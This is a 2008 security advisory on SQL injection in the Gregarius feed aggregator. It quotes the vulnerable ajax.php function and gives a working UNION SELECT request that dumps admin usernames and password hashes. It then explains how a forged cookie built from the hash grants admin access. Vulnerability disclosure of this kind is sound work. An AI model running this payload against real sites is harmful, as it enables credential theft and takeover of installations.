Gregarius <= 0.5.4 SQL Injection

[GulfTech Security Research <security@xxxxxxxxxxxx>]

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# GulfTech Security Research                July 29, 2008
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# Vendor : Marco Bonetti
# URL : http://www.gregarius.net/
# Version :  Gregarius <= 0.5.4
# Risk : SQL Injection
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Description:
Gregarius is a popular web-based RSS/RDF/ATOM feed aggregator
written in php. There are some SQL Injection issues in Gregarius
that allow for the disclosure of database contents and ultimately
the complete compromise of the Gregarius installation via exposed
admin credentials. It is advised that Gregarius users update their
gregarius installations as soon as possible.



SQL Injection:
Gregarius contains a number of SQL Injection issues that allow for
an attacker to expose admin credentials with no kind of authentication
needed. Lets have a look at the following code taken from /ajax.php


function __exp__getFeedContent($cid) {
        ob_start();
        rss_require('cls/items.php');
        
        $readItems = new ItemList();

        $readItems -> populate(" not(i.unread & ". RSS_MODE_UNREAD_STATE  .")
        and i.cid= $cid", "", 0, 2, ITEM_SORT_HINT_READ);
        $readItems -> setTitle(LBL_H2_RECENT_ITEMS);
        $readItems -> setRenderOptions(IL_TITLE_NO_ESCAPE);
        foreach ($readItems -> feeds[0] -> items as $item) {
                $item -> render();
        }
        $c = ob_get_contents();
        
        ob_end_clean();
        return "$cid|@|$c";
}


The above function is called by sajax_handle_client_request() and
allows for an attacker to specify the content of $cid via the rsargs[]
array. This being the case an attacker is able to influence the query
regardless of magic_quotes_gps settings etc.

/ajax.php?rs=__exp__getFeedContent&rsargs[]=-99 UNION SELECT concat(
char(58),uname,char(58),password),2,3,4,5,6,7,8,9,0,1,2,3 FROM users/*

The above query would successfully dump the users table to the browser.
The password hashes in the database are md5 encrypted, but an attacker
only need to md5 encrypt that password hash and place it in a cookie 
with the format of user|hash to gain access to the administrative controls.



Solution:
The Gregarius developers have been made aware of this issue, and users
are encouraged to upgrade as soon as possible.



Credits:
James Bercegay of the GulfTech Security Research Team



Related Info:
The original advisory can be found at the following location
http://www.gulftech.org/?node=research&article_id=00119-07302008